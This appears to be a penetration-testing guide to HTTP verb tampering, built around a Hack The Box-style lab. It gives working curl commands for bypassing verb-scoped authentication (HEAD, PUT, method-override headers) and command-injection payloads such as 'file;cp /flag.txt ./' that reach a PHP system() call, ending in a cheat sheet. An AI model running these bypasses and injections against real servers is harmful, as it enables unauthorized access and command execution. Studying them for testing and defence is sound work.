Skip to content

HTTP verb tampering

HTTP supports nine verbs (GET, POST, HEAD, PUT, DELETE, OPTIONS, PATCH, TRACE, CONNECT). When an app’s auth requirement or input filter is scoped to specific verbs but the underlying handler accepts more, swap the verb to bypass:

# 1. Probe what verbs the server accepts
curl -i -X OPTIONS http://target/admin/
# Allow: POST,OPTIONS,HEAD,GET ← HEAD reachable
# 2. Bypass auth scoped to GET/POST by using HEAD (or PUT, DELETE, etc.)
curl -i -X HEAD 'http://target/admin/reset.php?confirm=yes'
# Handler runs; no auth check; no response body (HEAD returns headers only)
# 3. Bypass an input filter that checks only $_POST when the sink uses $_REQUEST
curl 'http://target/create?filename=file;cp%20/flag.txt%20./'
# GET parameter slips past the POST-only filter

Success indicator: the protected action’s effect happens (file deleted/created, password changed, etc.) without supplying credentials - or a malicious payload is processed despite a filter being “in place.”

The OWASP “HTTP Verb Tampering” label covers two mechanically different mistakes. Knowing which one you’re attacking decides which payload works.

PatternRoot causeWhere it livesTypical bypass
Auth scoped to specific verbsApache <Limit GET POST>, Tomcat <http-method>, IIS verbs="GET" - the auth directive only applies to listed methodsServer config (.htaccess, web.xml, web.config)Request with an unlisted verb (HEAD, OPTIONS, PUT)
Filter checks one source, sink uses anotherpreg_match($pattern, $_POST['x']) to validate, then system($_REQUEST['x']) to useApplication codeMove the value to a request component the filter doesn’t inspect (GET ↔ POST, header, cookie)

The first pattern is loud - auth simply doesn’t fire. The second is subtle - the filter is intact and active, but the input bypasses it via a different channel.

Pattern 1 - Authentication scoped to specific verbs

Section titled “Pattern 1 - Authentication scoped to specific verbs”

An Apache .htaccess or vhost stanza:

<Directory "/var/www/html/admin">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile /etc/apache2/.htpasswd
<Limit GET POST>
Require valid-user
</Limit>
</Directory>

The <Limit GET POST> block restricts the Require valid-user directive to just GET and POST. Other verbs reach the handler with no auth check at all.

Equivalent Tomcat web.xml:

<security-constraint>
<web-resource-collection>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>

Equivalent ASP.NET web.config:

<system.web>
<authorization>
<allow verbs="GET,POST" roles="admin"/>
<deny verbs="GET,POST" users="*"/>
</authorization>
</system.web>

In every case, the auth/authorization directive enumerates verbs. Verbs not enumerated bypass entirely.

When a page returns 401 Unauthorized on direct access, that’s where to test:

Terminal window
$ curl -i http://target/admin/reset.php
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Admin Panel"

Without credentials, probe what the server lets you send via OPTIONS:

Terminal window
$ curl -i -X OPTIONS http://target/admin/
HTTP/1.1 200 OK
Allow: POST,OPTIONS,HEAD,GET

The Allow: header lists usable verbs. Note that some servers return verbs the server supports without checking whether the application handles them - both matter. HEAD is the most common bypass target because nearly every server accepts HEAD and most apps treat HEAD identically to GET (the handler runs; only the response body is suppressed).

Terminal window
# What you can't do as an anonymous user:
$ curl -i -X GET http://target/admin/reset.php
HTTP/1.1 401 Unauthorized
# What you can:
$ curl -i -X HEAD http://target/admin/reset.php
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

The HEAD returns 200 with no body. The server didn’t run the auth check (because HEAD wasn’t in <Limit GET POST>), passed the request to the application, and the application processed the action - reset.php deleted all files. The lack of response body is fine; the side effect is the goal.

For verbs that send a body (PUT, POST, PATCH), the bypass works the same way provided the server allows the verb:

Terminal window
$ curl -i -X PUT http://target/admin/reset.php -d 'confirm=yes'
HTTP/1.1 200 OK

Some servers (and modern frameworks) explicitly map HEAD to GET for auth purposes - the auth check fires on HEAD even if <Limit> only lists GET. In that case, try the other verbs:

Terminal window
for verb in HEAD OPTIONS PUT DELETE PATCH TRACE CONNECT PROPFIND MKCOL COPY MOVE LOCK UNLOCK; do
code=$(curl -s -o /dev/null -w '%{http_code}' -X "$verb" http://target/admin/reset.php)
echo "$verb: $code"
done

Each 200/30x/5xx is interesting; each 401 means the auth check fired. The WebDAV verbs (PROPFIND, MKCOL, COPY, etc.) catch some IIS misconfigurations that miss them entirely.

In Burp:

  1. Send the 401-responding request to Repeater
  2. Right-click in the request panel → “Change request method” - Burp cycles through methods, automatically adding Content-Type and Content-Length headers when switching to POST/PUT/PATCH
  3. Send; observe the response

The “Change request method” feature is the right form here because manually editing the verb often forgets that POST needs a body and the right Content-Type header - and missing those produces 400 responses that look like auth failures but aren’t.

Pattern 2 - Filter checks one source, sink uses another

Section titled “Pattern 2 - Filter checks one source, sink uses another”
if (isset($_REQUEST['filename'])) {
if (!preg_match('/[^A-Za-z0-9. _-]/', $_POST['filename'])) {
system("touch " . $_REQUEST['filename']);
} else {
echo "Malicious Request Denied!";
}
}

Walk through what each line does:

  • Line 1: $_REQUEST['filename'] - checks if a filename param exists in any of GET/POST/COOKIE
  • Line 2: filter runs against $_POST['filename'] - looks at only POST
  • Line 3: system() uses $_REQUEST['filename'] - back to any of GET/POST/COOKIE

The mismatch: the validator inspects POST, but the dangerous sink consumes any source. Sending the malicious value via GET means $_POST['filename'] is empty (clean), the regex passes, and $_REQUEST['filename'] (which sees GET) reaches system() with the unsanitized input.

Pattern 2 is subtle in a black-box test because the filter genuinely works for the input you usually send. You only see it when you happen to switch verbs and notice the filter stopped firing.

Indicators:

  • A form posts to an endpoint. POSTing malicious content blocks. The same endpoint accessed via GET (just adding the form data as query parameters) doesn’t block.
  • An error message appears for some inputs but not others, and the difference correlates with HTTP method rather than content.
  • An endpoint advertised as POST-only handles GET requests just fine when probed.

The original (blocked) attempt:

POST /create.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
filename=file;%20touch%20pwn

Response: Malicious Request Denied!

The bypass - move the parameter to the query string:

Terminal window
$ curl 'http://target/create.php?filename=file;%20touch%20pwn'

The PHP filter looks at $_POST['filename'] (empty), regex passes, $_REQUEST['filename'] (which sees the GET parameter) flows into system() - command injection achieved.

For HTB-style scenarios that want both a benign file and an injected command:

filename=file;%20cp%20/flag.txt%20./

After the request, flag.txt appears in the web root.

The cleanest way is in Burp:

  1. Intercept the blocked POST
  2. Right-click → Change request method → POST flips to GET; body parameters move to the query string
  3. Forward

Burp handles the format conversion correctly. Doing it manually means remembering to URL-encode the value, drop Content-Type/Length headers, and reformat the request line.

The same mistake appears in other languages:

LanguageValidates only on…Sink uses…
PHP$_POST, $_GET, $_COOKIE$_REQUEST
Java (Servlet)request.getParameterValues() on form datarequest.getParameter() (any source)
Node.js (Express)req.body.xreq.query.x || req.body.x
ASP.NETRequest.Form["x"]Request["x"] (any source)
Railsparams.permit(...) filtered out of params[:body]params[:x] (still includes query)

The pattern generalizes to non-verb-based source confusion too - cookie-based override of a header check, header-based override of a body check, multipart-vs-form-encoded confusion. Anywhere the validator looks at one source and the sink looks at a broader set, the bypass is to move the value.

The HTB-style scenario combines both patterns and is worth tracing.

The app is a File Manager with two protected operations:

  • POST /create.php accepts filename and runs touch $filename
  • GET /admin/reset.php requires Basic Auth and deletes all files

Operator path:

Terminal window
# Step 1: Confirm the auth scope
$ curl -i http://target/admin/reset.php
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Admin Panel"
# Step 2: Probe allowed verbs
$ curl -i -X OPTIONS http://target/
Allow: POST,OPTIONS,HEAD,GET
# Step 3: Auth bypass via HEAD
$ curl -i -X HEAD http://target/admin/reset.php
HTTP/1.1 200 OK
# (All files now deleted)
# Step 4: For the injection-filter bypass, the original POST gets blocked
$ curl -X POST http://target/create.php -d 'filename=file;touch%20pwn'
Malicious Request Denied!
# Step 5: GET bypasses the filter
$ curl 'http://target/create.php?filename=file;%20touch%20pwn'
# (Both 'file' and 'pwn' files created)
# Step 6: Combine - read /flag via the GET injection
$ curl 'http://target/create.php?filename=file;%20cp%20/flag.txt%20./'
# Flag now in web root, fetch it
$ curl http://target/flag.txt
HTB{...}

Two different verb-tampering bugs in one app. Each enables a separate primitive; chained, they yield arbitrary file read.

Some apps respect X-HTTP-Method-Override, X-HTTP-Method, or X-Method-Override headers for legacy or REST-API reasons:

Terminal window
curl -X POST http://target/admin/reset.php \
-H 'X-HTTP-Method-Override: GET'

The actual request is POST (avoiding the GET-auth check) but the app routes it as GET (executing the action). Rails, Symfony, Spring, and some Express middlewares enable this by default. Worth probing on any app that fails the simple HEAD bypass.

Same idea, different vehicle. Some frameworks accept the method via a body parameter:

POST /admin/reset.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=DELETE

This is Rails’s _method convention. The request line is POST (so the server-level auth scoping on DELETE doesn’t fire) but Rails treats the request as DELETE downstream.

TRACE echoes the request back. Where allowed, that reflects cookies set by intermediate proxies - relevant for some XST (Cross-Site Tracing) attacks against HttpOnly cookies. Most servers disable TRACE for this reason; if a target permits it, that itself is a finding.

Adjacent technique with the same family resemblance. Smuggling exploits inconsistencies between a frontend proxy and backend server in how request boundaries are parsed. Verb tampering exploits inconsistencies in how a single component parses the verb. Both rely on “two parsers disagree” but at different layers.

For each pattern, the fix tells you what to look for as an attacker:

PatternOperator-side observation
<Limit GET POST>Look for <Limit> directives (Apache), enumerated <http-method> (Tomcat), or verbs="GET" (IIS) in any leaked config - they signal scoping mistakes
<LimitExcept> (correct form)This is the secure directive; if you see it, the bypass via alternate verbs is closed
Allow: lists in OPTIONS responsesIf Allow: lists fewer verbs than you’d expect, the server is rejecting at the HTTP layer - bypass paths are narrower
Method override headersServers that respect X-HTTP-Method-Override may be patched at the framework level but not at the application level (or vice versa) - try both layers
TaskCommand / pattern
Probe allowed verbscurl -i -X OPTIONS http://target/path/
Auth bypass via HEADcurl -i -X HEAD http://target/protected/action
Auth bypass via OPTIONScurl -i -X OPTIONS http://target/protected/action
Auth bypass via PUT/DELETEcurl -i -X PUT http://target/path -d 'data'
Filter bypass POST → GETMove body params to query string
Burp method swapRight-click request → Change request method
Method override header-H 'X-HTTP-Method-Override: DELETE'
Method override body param_method=DELETE (Rails / some Express)
Iterate every verbLoop over HEAD OPTIONS PUT DELETE PATCH TRACE PROPFIND MKCOL COPY MOVE LOCK UNLOCK
Vulnerable Apache directive<Limit GET POST>...<Require>...</Limit>
Vulnerable Tomcat directive<http-method>GET</http-method> in <security-constraint>
Vulnerable IIS directive<allow verbs="GET" roles="..."/> in <authorization>
Vulnerable PHP filter patternfilter checks $_POST['x'], sink uses $_REQUEST['x']
Bypass via cookie sourceSame pattern - value in Cookie reaches $_REQUEST but bypasses $_POST check

For the related cookie-attribute attacks see Cookie tampering. For session-fixation patterns that often appear alongside misconfigured auth see Session fixation.

Defenses D3-IAA